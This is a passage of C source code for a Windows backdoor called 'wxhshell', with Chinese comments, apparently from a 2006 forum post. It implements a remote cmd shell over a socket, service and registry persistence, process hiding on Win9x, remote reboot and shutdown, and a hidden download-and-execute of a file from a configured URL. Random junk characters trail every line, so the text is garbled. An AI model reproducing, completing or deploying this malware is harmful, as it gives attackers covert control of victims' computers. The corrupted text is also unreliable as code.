      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +a,#BSt  
    break; #QsJr_=  
  } Hc8^w6S1@  
  // 安装 82 |^o  
  case 'i': { "Ia.$,k9  
    if(Install()) J#H,QYnf(L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q*Jb0f  
    else 5-0&`,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8fi'"  
    break; OU` !c[O  
    } E8PwA.  
  // 卸载 *MfH\X379  
  case 'r': { 'wFhfZB1!B  
    if(Uninstall()) ?4wl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `0%;Gz%}  
    else 4xT /8>v2|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XBX`L"0  
    break; ?99r>01>  
    } [bKc5qp  
  // 显示 wxhshell 所在路径 }BW&1*M{  
  case 'p': { .!^OmT,u  
    char svExeFile[MAX_PATH]; %n6<6t`$  
    strcpy(svExeFile,"\n\r"); @VHstjos^V  
      strcat(svExeFile,ExeFile); 0VQBm^$(  
        send(wsh,svExeFile,strlen(svExeFile),0); z2Wblh"_  
    break;   +fM8  
    } #l+Rs3T:  
  // 重启 AW \uE[kg  
  case 'b': { 2sgp$r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lAG@nh^  
    if(Boot(REBOOT)) \c{sG\ >  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oH4zW5  
    else { /+B6oE>8  
    closesocket(wsh); WF~x`w&\  
    ExitThread(0); 5{ +>3J  
    } )$1j"mV  
    break; #ZPF&u"  
    } qYVeFSS  
  // 关机 euV!U}Xr  
  case 'd': { ^PE|BCs  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (bsywM  
    if(Boot(SHUTDOWN)) yz,_\{}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '`gnJX JO  
    else { S['%>  
    closesocket(wsh); ]qZj@0#7n  
    ExitThread(0); V/DMkO#a  
    } };}N1[D   
    break; R-W.$-rF  
    } r/':^Ex  
  // 获取shell .P T7  
  case 's': { F@ |(  
    CmdShell(wsh); @6|0H`kv  
    closesocket(wsh); [oBRH]9cq  
    ExitThread(0); Ivcy=W=Jk  
    break; hN0h'JJ[7  
  } T ;84Sv  
  // 退出 " +{2!  
  case 'x': { ?HOnDw.v1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U7/ =| Z  
    CloseIt(wsh); SR.xI:}4  
    break; G3!O@j!7w$  
    } K5bR7f:  
  // 离开 [giw(4m#y  
  case 'q': { RWu< dY#ym  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $L|+Z>x  
    closesocket(wsh); .L^j:2(L  
    WSACleanup(); s!D?%  
    exit(1); xh<{lZ)KJ  
    break; -;8a* F  
        } Q$: ,N=%  
  } .#sX|c=W  
  } I)jAdd  
u f<%!=e  
  // 提示信息 W:j9KhvT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F#Pn]  
} 0S+$l  
  } }9B},  
l| \ -d  
  return; @o}J)  
} wj'fdrY5h  
X-bM`7'H  
// shell模块句柄 bs% RWwn  
int CmdShell(SOCKET sock) FB,rQ9D  
{ s/>0gu]A8  
STARTUPINFO si; ]RadwH"0!  
ZeroMemory(&si,sizeof(si)); .*595SuF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \%}]wf}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1W0[|Hf2v*  
PROCESS_INFORMATION ProcessInfo; ;*nzb!u\\  
char cmdline[]="cmd"; 2RqV\Jik  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XmVst*2=  
  return 0; `z/ p,. u  
} N5#j}tT  
,G?Kb#  
// 自身启动模式 P A*U\  
int StartFromService(void) Q>\DM'{:4  
{ OFcP4hDi  
typedef struct wr:-n  
{ r-WX("Vvh  
  DWORD ExitStatus; 8In~qf  
  DWORD PebBaseAddress; F!?f|z,/  
  DWORD AffinityMask; N48X[Q*  
  DWORD BasePriority; ox.kL  
  ULONG UniqueProcessId; MR@Qn[RdM  
  ULONG InheritedFromUniqueProcessId; 0[uOKFgE  
}   PROCESS_BASIC_INFORMATION; 9&kPcFX B  
^*y 1Fn0  
PROCNTQSIP NtQueryInformationProcess; 4 8; b  
c\szy&W  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RMs8aZCa  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8OS^3JS3"  
_\@zq*E  
  HANDLE             hProcess; ,N_V(Cx5pt  
  PROCESS_BASIC_INFORMATION pbi; X g7xy>{]  
Z;R/!Py.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0Nk!.gY  
  if(NULL == hInst ) return 0; OYa9f[$  
|{%$x^KyJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?%Q=l;W.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s nNd7v.U6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3:sx%Ci/2  
@b5$WKPX  
  if (!NtQueryInformationProcess) return 0; Y@Ry oJ  
t!FC)iY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #'i,'h+F  
  if(!hProcess) return 0; UH(w, R`  
v y-(:aH7U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K1;b4Sl?A  
hv|-`}#0  
  CloseHandle(hProcess); ycIcM~<4  
Hy'EbQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r M}o)  
if(hProcess==NULL) return 0; |w>b0aY  
CNWA!1n^Hy  
HMODULE hMod; [%Z{Mp'g  
char procName[255]; ?aB%h |VA  
unsigned long cbNeeded; }KftV nD?  
SFEDR?s   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (A?w|/bZd  
0}:Wh&g  
  CloseHandle(hProcess); k0b6X5  
/;y`6WG%2  
if(strstr(procName,"services")) return 1; // 以服务启动 NOAz"m+o  
04Uyr;y  
  return 0; // 注册表启动 .%0a  
} olHmRJ  
NQOf\.#g  
// 主模块 j(pe6  
int StartWxhshell(LPSTR lpCmdLine)  Lo)T  
{ h]Gvt 5  
  SOCKET wsl; egWfKL&iy  
BOOL val=TRUE; Kb/qM}jS  
  int port=0; $(yi+v  
  struct sockaddr_in door; rNke&z:%X_  
@!!5el {  
  if(wscfg.ws_autoins) Install(); Smh=Q4,W  
Iy4 RE P|  
port=atoi(lpCmdLine); LS-_GslE7\  
\2Q#'  
if(port<=0) port=wscfg.ws_port; M,r8 No  
u@Z6)r'  
  WSADATA data; r. rzU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tp\d:4~R  
hfvC-f97L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   au+:-Khm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fNrpYR X  
  door.sin_family = AF_INET; Psf{~ (Ii  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zCS }i_ p  
  door.sin_port = htons(port); cw_B^f8^  
x%dVD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3r?T|>|  
closesocket(wsl); {uqP+Cs  
return 1; ( ~JtKSq%  
} Ty;^3  
kH[thR k}  
  if(listen(wsl,2) == INVALID_SOCKET) { $P #KL//  
closesocket(wsl); :o:/RRp[  
return 1; O /&Qzt  
} #!(2@N8  
  Wxhshell(wsl); :prx:7  
  WSACleanup(); IFtaoK  
9T2y2d!X  
return 0; x|Ms2.!  
3CSwcD  
} A(+V{1 L'  
Hm~.u.)\.  
// 以NT服务方式启动 iQiXwEAi[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;hd%w mE  
{ +.u HY`A  
DWORD   status = 0;  \5HVX/  
  DWORD   specificError = 0xfffffff; (;N#Gqb6l  
=ATQ2\T$m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =6qSo @  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {Q^ -  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 83)m#  
  serviceStatus.dwWin32ExitCode     = 0; $?OQtz@  
  serviceStatus.dwServiceSpecificExitCode = 0; #zb67mg~  
  serviceStatus.dwCheckPoint       = 0; M2qor.d  
  serviceStatus.dwWaitHint       = 0; P;IM -]  
W$gjcsv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (|tR>R.Wxg  
  if (hServiceStatusHandle==0) return; sv!6z Js  
[|C  
status = GetLastError(); z gxMDLH  
  if (status!=NO_ERROR) MiMDEe%f%  
{ 9SU/ 86|N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1b2xWzpG  
    serviceStatus.dwCheckPoint       = 0; pT:6A[&  
    serviceStatus.dwWaitHint       = 0; N=@8~{V.  
    serviceStatus.dwWin32ExitCode     = status; 3Z}KRsp3  
    serviceStatus.dwServiceSpecificExitCode = specificError; i`w&{WTRQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _|COnm  
    return; HeHo?<>|d  
  } :?)q"hE  
H[?l)nZ}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x*:"G'zT  
  serviceStatus.dwCheckPoint       = 0; u*T#? W?  
  serviceStatus.dwWaitHint       = 0; 8;3I:z&muQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h,MaF<~  
} &sJ6k/l  
>ATccv  
// 处理NT服务事件,比如:启动、停止 OHH\sA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <CS,v)4,nH  
{ @8cn<+"b  
switch(fdwControl) i06|P I  
{ T4;gF6(0]  
case SERVICE_CONTROL_STOP: 78IY&q:v&0  
  serviceStatus.dwWin32ExitCode = 0; U6YQ*%mZ_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \.=,}sV2Z  
  serviceStatus.dwCheckPoint   = 0; L~Xzo  
  serviceStatus.dwWaitHint     = 0; :M@#.  
  { X09i+/ICK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <4"Bb_U  
  } {@t6[g++  
  return; '*K%\]  
case SERVICE_CONTROL_PAUSE: CI|#,^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @3?dI@i(  
  break; =vb'T  
case SERVICE_CONTROL_CONTINUE: "OrF81  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?Elt;wL(  
  break; yM?jiy  
case SERVICE_CONTROL_INTERROGATE: \?$kpV  
  break; -[z1r)RZ  
}; j Oxnf%jl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <07~EP  
} fTi5Ej*/?)  
}x"8v&3CM_  
// 标准应用程序主函数 ZP<OyX?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sGGi7 %  
{ cu4|!s`#  
3nx*M=  
// 获取操作系统版本 58PL@H~@0  
OsIsNt=GetOsVer(); yDi'@Z9R?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k.%FGn'fR  
r <$"T  
  // 从命令行安装 ;4*mUD6  
  if(strpbrk(lpCmdLine,"iI")) Install(); W"D>>]$|u  
&M #}?@!C  
  // 下载执行文件 oLt%i:,A  
if(wscfg.ws_downexe) { $A)[s$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t<SCrLbz  
  WinExec(wscfg.ws_filenam,SW_HIDE); Nbt.y 'd  
} M{X; H'2  
4`:Eiik&p  
if(!OsIsNt) { #D%l;Ae  
// 如果时win9x,隐藏进程并且设置为注册表启动 is{H >#+"  
HideProc(); YF)c.Q0  
StartWxhshell(lpCmdLine); oox;8d4}y  
} ezhK[/E=  
else LP}'upv  
  if(StartFromService()) ({h W  
  // 以服务方式启动 Ka8Bed3  
  StartServiceCtrlDispatcher(DispatchTable); 9gETWz(3I  
else A3Vj3em  
  // 普通方式启动 -8sB\E  
  StartWxhshell(lpCmdLine); gzp]hh@4  
GAlM:>  
return 0; b2hXFwPe  
}
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只看该作者 1 发表于: 2006-10-10
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